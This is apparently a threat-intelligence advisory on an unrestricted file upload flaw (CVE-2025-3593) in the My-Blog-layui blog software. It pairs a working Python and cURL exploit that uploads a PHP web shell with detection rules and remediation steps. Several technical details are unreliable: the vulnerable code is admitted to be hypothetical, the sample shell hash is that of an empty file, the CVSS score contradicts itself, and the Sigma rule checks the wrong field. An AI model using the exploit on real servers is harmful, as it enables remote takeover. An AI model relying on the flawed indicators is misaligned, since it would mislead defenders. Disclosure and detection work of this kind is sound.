CVE-2025-3593

Executive Summary

CVE-2025-3593 is a critical unrestricted file upload vulnerability in the ZHENFENG13/code-projects My-Blog-layui application, version 1.0. The flaw resides in the /admin/upload/authorImg/ endpoint, where the Upload function fails to validate the type or content of uploaded files. An attacker can remotely upload arbitrary files, including web shells, leading to full server compromise. The vendor was contacted but did not respond, and no official patch is available. The exploit has been publicly disclosed, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a custom PHP application (My-Blog-layui) and is not associated with a package manager (NPM, PyPI, Go, Ruby). The risk is limited to direct deployments of this specific blog software.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score not provided by NVD, but based on vector: 9.8 Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Critical – Remote, unauthenticated file upload leading to RCE.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The /admin/upload/authorImg/ endpoint in My-Blog-layui accepts file uploads without verifying the file extension, MIME type, or content. An attacker can craft an HTTP POST request to this endpoint with a malicious PHP file (e.g., shell.php) containing a web shell payload. The server stores the file in a web-accessible directory, allowing the attacker to execute arbitrary commands by accessing the uploaded file.

Root Cause: The Upload function lacks any validation or sanitization of the uploaded file. The application likely uses a simple move_uploaded_file() call without checking the file's extension or content.

Attack Flow:

1. Attacker identifies the vulnerable endpoint: /admin/upload/authorImg/.
2. Attacker sends a POST request with a multipart form-data containing a PHP web shell.
3. The server saves the file (e.g., shell.php) in the uploads directory.
4. Attacker accesses the uploaded file via the web server (e.g., http://target/admin/upload/authorImg/shell.php).
5. Attacker executes commands via the web shell, gaining full control.

Vulnerable vs. Patched Code

Vulnerable Code (Hypothetical based on common patterns):

<?php
// Vulnerable: No validation
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Recommended):

<?php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// Check if image file is a actual image or fake image
$check = getimagesize($_FILES["file"]["tmp_name"]);
if($check !== false) {
    // Allow only specific image extensions
    if($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg" && $imageFileType != "gif") {
        echo "Sorry, only JPG, JPEG, PNG & GIF files are allowed.";
    } else {
        move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
        echo "File uploaded successfully.";
    }
} else {
    echo "File is not an image.";
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target running My-Blog-layui 1.0.
• Python 3 and requests library.

Exploit Script:

import requests

target_url = "http://target.com/admin/upload/authorImg/"
payload_file = "shell.php"
payload_content = "<?php system($_GET['cmd']); ?>"

files = {'file': (payload_file, payload_content, 'application/x-php')}
response = requests.post(target_url, files=files)

if response.status_code == 200:
    print(f"Upload successful. Access shell at: {target_url}{payload_file}?cmd=id")
else:
    print(f"Upload failed. Status: {response.status_code}")

Manual Exploitation (cURL):

curl -X POST -F "file=@shell.php" http://target.com/admin/upload/authorImg/

Blue Team

Detection Steps:

1. Monitor web server logs for POST requests to /admin/upload/authorImg/.
2. Look for unusual file extensions (e.g., .php, .phtml, .asp) in upload requests.
3. Check the uploads directory for unexpected files.
4. Use file integrity monitoring (FIM) to detect new files in the uploads directory.

Hunting Query (Splunk):

index=web_logs source="/var/log/apache2/access.log"
| where method="POST" AND uri_path="/admin/upload/authorImg/"
| table _time, clientip, uri, status

Indicators of Compromise (IOCs)

• File Paths:
  • /admin/upload/authorImg/shell.php
  • /admin/upload/authorImg/*.php
• Network Indicators:
  • POST requests to /admin/upload/authorImg/ with multipart form-data.
  • Outbound connections from the web server to unknown IPs (if shell is used for C2).
• File Hashes (Example):
  • shell.php (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Detection Engineering

YARA Rule

rule CVE_2025_3593_Unrestricted_Upload {
    meta:
        description = "Detects web shell uploads targeting My-Blog-layui /admin/upload/authorImg/"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3593"
    strings:
        $php_shell = "<?php system(" ascii wide nocase
        $php_shell2 = "<?php exec(" ascii wide nocase
        $php_shell3 = "<?php shell_exec(" ascii wide nocase
        $php_shell4 = "<?php passthru(" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-3593 - Unrestricted File Upload to My-Blog-layui
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to the vulnerable upload endpoint with PHP file extensions.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/upload/authorImg/'
        cs-uri-query|contains: '.php'
    condition: selection
falsepositives:
    - Legitimate PHP file uploads (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3593 - Unrestricted File Upload to My-Blog-layui"; flow:to_server,established; content:"POST"; http_method; content:"/admin/upload/authorImg/"; http_uri; content:".php"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the upload functionality by removing or renaming the /admin/upload/authorImg/ directory.
2. Implement a Web Application Firewall (WAF) rule to block POST requests to /admin/upload/authorImg/ with file extensions other than allowed image types (jpg, png, gif).
3. Restrict file permissions on the uploads directory to prevent execution of PHP files (e.g., using .htaccess or Nginx config).

Long-term Fix:

• Apply the patched code example provided in the "Vulnerable vs. Patched Code" section.
• Conduct a full code review of the application for similar vulnerabilities.
• Monitor the vendor's repository for an official patch.

Valters IT Signature:

Report generated by Valters IT DevSecOps & CTI Division